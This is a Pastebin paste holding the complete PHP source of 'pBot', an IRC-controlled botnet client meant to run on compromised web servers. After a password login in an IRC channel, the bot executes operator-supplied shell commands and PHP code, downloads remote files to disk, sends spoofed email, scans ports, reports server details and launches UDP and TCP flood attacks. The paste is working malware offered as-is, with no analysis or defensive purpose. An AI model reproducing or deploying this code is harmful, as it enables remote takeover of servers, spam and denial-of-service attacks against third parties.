Advertisement
andre11

pbot

Sep 9th, 2014
289
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.71 KB | None | 0 0
  1. <?
  2.  
  3. set_time_limit(0);
  4. error_reporting(0);
  5.  
  6. class pBot
  7. {
  8. var $config = array("server"=>"irc.server.xxx",
  9. "port"=>6667,
  10. "pass"=>"senha",
  11. "prefix"=>"1xhd4",
  12. "maxrand"=>8,
  13. "chan"=>"#Ph4x35",
  14. "key"=>"",
  15. "modes"=>"+iB-x",
  16. "password"=>"preparacaohacker",
  17. "trigger"=>".",
  18. "hostauth"=>"*" // * for any hostname
  19. );
  20. var $users = array();
  21. function start()
  22. {
  23. if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
  24. $this->start();
  25. $ident = "";
  26. $alph = range("a","z");
  27. for($i=0;$i<$this->config['maxrand'];$i++)
  28. $ident .= $alph[rand(0,25)];
  29. if(strlen($this->config['pass'])>0)
  30. $this->send("PASS ".$this->config['pass']);
  31. $this->send("USER $ident 127.0.0.1 localhost :$ident");
  32. $this->set_nick();
  33. $this->main();
  34. }
  35. function main()
  36. {
  37. while(!feof($this->conn))
  38. {
  39. $this->buf = trim(fgets($this->conn,512));
  40. $cmd = explode(" ",$this->buf);
  41. if(substr($this->buf,0,6)=="PING :")
  42. {
  43. $this->send("PONG :".substr($this->buf,6));
  44. }
  45. if(isset($cmd[1]) && $cmd[1] =="001")
  46. {
  47. $this->send("MODE ".$this->nick." ".$this->config['modes']);
  48. $this->join($this->config['chan'],$this->config['key']);
  49. }
  50. if(isset($cmd[1]) && $cmd[1]=="433")
  51. {
  52. $this->set_nick();
  53. }
  54. if($this->buf != $old_buf)
  55. {
  56. $mcmd = array();
  57. $msg = substr(strstr($this->buf," :"),2);
  58. $msgcmd = explode(" ",$msg);
  59. $nick = explode("!",$cmd[0]);
  60. $vhost = explode("@",$nick[1]);
  61. $vhost = $vhost[1];
  62. $nick = substr($nick[0],1);
  63. $host = $cmd[0];
  64. if($msgcmd[0]==$this->nick)
  65. {
  66. for($i=0;$i<count($msgcmd);$i++)
  67. $mcmd[$i] = $msgcmd[$i+1];
  68. }
  69. else
  70. {
  71. for($i=0;$i<count($msgcmd);$i++)
  72. $mcmd[$i] = $msgcmd[$i];
  73. }
  74. if(count($cmd)>2)
  75. {
  76. switch($cmd[1])
  77. {
  78. case "QUIT":
  79. if($this->is_logged_in($host))
  80. {
  81. $this->log_out($host);
  82. }
  83. break;
  84. case "PART":
  85. if($this->is_logged_in($host))
  86. {
  87. $this->log_out($host);
  88. }
  89. break;
  90. case "PRIVMSG":
  91. if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
  92. {
  93. if(substr($mcmd[0],0,1)==".")
  94. {
  95. switch(substr($mcmd[0],1))
  96. {
  97. case "user":
  98. if($mcmd[1]==$this->config['password'])
  99. {
  100. $this->privmsg($this->config['chan'],"[\2auth\2]: $nick logged in");
  101. $this->log_in($host);
  102. }
  103. else
  104. {
  105. $this->privmsg($this->config['chan'],"[\2auth\2]: Incorrect password from $nick");
  106. }
  107. break;
  108. }
  109. }
  110. }
  111. elseif($this->is_logged_in($host))
  112. {
  113. if(substr($mcmd[0],0,1)==".")
  114. {
  115. switch(substr($mcmd[0],1))
  116. {
  117. case "restart":
  118. $this->send("QUIT :restart");
  119. fclose($this->conn);
  120. $this->start();
  121. break;
  122. case "mail": //mail to from subject message
  123. if(count($mcmd)>4)
  124. {
  125. $header = "From: <".$mcmd[2].">";
  126. if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
  127. {
  128. $this->privmsg($this->config['chan'],"[\2mail\2]: Unable to send");
  129. }
  130. else
  131. {
  132. $this->privmsg($this->config['chan'],"[\2mail\2]: Message sent to \2".$mcmd[1]."\2");
  133. }
  134. }
  135. break;
  136. case "dns":
  137. if(isset($mcmd[1]))
  138. {
  139. $ip = explode(".",$mcmd[1]);
  140. if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
  141. {
  142. $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
  143. }
  144. else
  145. {
  146. $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
  147. }
  148. }
  149. break;
  150. case "info":
  151. $this->privmsg($this->config['chan'],"[\2info\2]: [\2httpd\2: ".$_SERVER['SERVER_SOFTWARE']."] [\2docroot\2: ".$_SERVER['DOCUMENT_ROOT']."] [\2domain\2: ".$_SERVER['SERVER_NAME']."] [\2admin\2: ".$_SERVER['SERVER_ADMIN']."] [\2url\2:".$_SERVER['REQUEST_URI']."]");
  152. break;
  153. case "cmd":
  154. if(isset($mcmd[1]))
  155. {
  156. $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  157. $this->privmsg($this->config['chan'],"[\2cmd\2]: $command");
  158. $pipe = popen($command,"r");
  159. while(!feof($pipe))
  160. {
  161. $pbuf = trim(fgets($pipe,512));
  162. if($pbuf != NULL)
  163. $this->privmsg($this->config['chan']," : $pbuf");
  164. }
  165. pclose($pipe);
  166. }
  167. break;
  168. case "rndnick":
  169. $this->set_nick();
  170. break;
  171. case "raw":
  172. $this->send(strstr($msg,$mcmd[1]));
  173. break;
  174. case "php":
  175. $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
  176. break;
  177. case "exec":
  178. $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  179. $exec = shell_exec($command);
  180. $ret = explode("\n",$exec);
  181. $this->privmsg($this->config['chan'],"[\2exec\2]: $command");
  182. for($i=0;$i<count($ret);$i++)
  183. if($ret[$i]!=NULL)
  184. $this->privmsg($this->config['chan']," : ".trim($ret[$i]));
  185. break;
  186. case "pscan": // .pscan 127.0.0.1 6667
  187. if(count($mcmd) > 2)
  188. {
  189. if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
  190. $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
  191. else
  192. $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
  193. }
  194. break;
  195. case "ud.server": // .udserver <server> <port> [password]
  196. if(count($mcmd)>2)
  197. {
  198. $this->config['server'] = $mcmd[1];
  199. $this->config['port'] = $mcmd[2];
  200. if(isset($mcmcd[3]))
  201. {
  202. $this->config['pass'] = $mcmd[3];
  203. $this->privmsg($this->config['chan'],"[\2update\2]: Changed server to ".$mcmd[1].":".$mcmd[2]." Pass: ".$mcmd[3]);
  204. }
  205. else
  206. {
  207. $this->privmsg($this->config['chan'],"[\2update\2]: Changed server to ".$mcmd[1].":".$mcmd[2]);
  208. }
  209. }
  210. break;
  211. case "download":
  212. if(count($mcmd) > 2)
  213. {
  214. if(!$fp = fopen($mcmd[2],"w"))
  215. {
  216. $this->privmsg($this->config['chan'],"[\2download\2]: Cannot download, permission denied.");
  217. }
  218. else
  219. {
  220. if(!$get = file($mcmd[1]))
  221. {
  222. $this->privmsg($this->config['chan'],"[\2download\2]: Unable to download from \2".$mcmd[1]."\2");
  223. }
  224. else
  225. {
  226. for($i=0;$i<=count($get);$i++)
  227. {
  228. fwrite($fp,$get[$i]);
  229. }
  230. $this->privmsg($this->config['chan'],"[\2download\2]: File \2".$mcmd[1]."\2 downloaded to \2".$mcmd[2]."\2");
  231. }
  232. fclose($fp);
  233. }
  234. }
  235. break;
  236. case "die":
  237. $this->send("QUIT :die command from $nick");
  238. fclose($this->conn);
  239. exit;
  240. case "logout":
  241. $this->log_out($host);
  242. $this->privmsg($this->config['chan'],"[\2auth\2]: $nick logged out");
  243. break;
  244. case "udpflood":
  245. if(count($mcmd)>4)
  246. {
  247. $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]);
  248. }
  249. break;
  250. case "tcpflood":
  251. if(count($mcmd)>5)
  252. {
  253. $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
  254. }
  255. break;
  256. }
  257. }
  258. }
  259. break;
  260. }
  261. }
  262. }
  263. $old_buf = $this->buf;
  264. }
  265. $this->start();
  266. }
  267. function send($msg)
  268. {
  269. fwrite($this->conn,"$msg\r\n");
  270. }
  271. function join($chan,$key=NULL)
  272. {
  273. $this->send("JOIN $chan $key");
  274. }
  275. function privmsg($to,$msg)
  276. {
  277. $this->send("PRIVMSG $to :$msg");
  278. }
  279. function is_logged_in($host)
  280. {
  281. if(isset($this->users[$host]))
  282. return 1;
  283. else
  284. return 0;
  285. }
  286. function log_in($host)
  287. {
  288. $this->users[$host] = true;
  289. }
  290. function log_out($host)
  291. {
  292. unset($this->users[$host]);
  293. }
  294. function set_nick()
  295. {
  296. if(isset($_SERVER['SERVER_SOFTWARE']))
  297. {
  298. if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
  299. $this->nick = "[A]";
  300. elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
  301. $this->nick = "[I]";
  302. elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
  303. $this->nick = "[X]";
  304. else
  305. $this->nick = "[U]";
  306. }
  307. else
  308. {
  309. $this->nick = "[C]";
  310. }
  311. $this->nick .= $this->config['prefix'];
  312. for($i=0;$i<$this->config['maxrand'];$i++)
  313. $this->nick .= mt_rand(0,9);
  314. $this->send("NICK ".$this->nick);
  315. }
  316. function udpflood($host,$packets,$packetsize,$delay)
  317. {
  318. $this->privmsg($this->config['chan'],"[\2udpflood\2]: Sending $packets packets to $host. Packet size: $packetsize");
  319. $packet = "";
  320. for($i=0;$i<$packetsize;$i++)
  321. $packet .= chr(mt_rand(1,256));
  322. for($i=0;$i<$packets;$i++)
  323. {
  324. if(!$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5))
  325. {
  326. $this->privmsg($this->config['chan'],"[\2udpflood\2]: Error: <$e>");
  327. return 0;
  328. }
  329. else
  330. {
  331. fwrite($fp,$packet);
  332. fclose($fp);
  333. }
  334. sleep($delay);
  335. }
  336. $this->privmsg($this->config['chan'],"[\2udpflood\2]: Finished sending $packets packets to $host.");
  337. }
  338. function tcpflood($host,$packets,$packetsize,$port,$delay)
  339. {
  340. $this->privmsg($this->config['chan'],"[\2tcpflood\2]: Sending $packets packets to $host:$port. Packet size: $packetsize");
  341. $packet = "";
  342. for($i=0;$i<$packetsize;$i++)
  343. $packet .= chr(mt_rand(1,256));
  344. for($i=0;$i<$packets;$i++)
  345. {
  346. if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
  347. {
  348. $this->privmsg($this->config['chan'],"[\2tcpflood\2]: Error: <$e>");
  349. return 0;
  350. }
  351. else
  352. {
  353. fwrite($fp,$packet);
  354. fclose($fp);
  355. }
  356. sleep($delay);
  357. }
  358. $this->privmsg($this->config['chan'],"[\2tcpflood\2]: Finished sending $packets packets to $host:$port.");
  359. }
  360. }
  361.  
  362. $bot = new pBot;
  363. $bot->start();
  364.  
  365. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement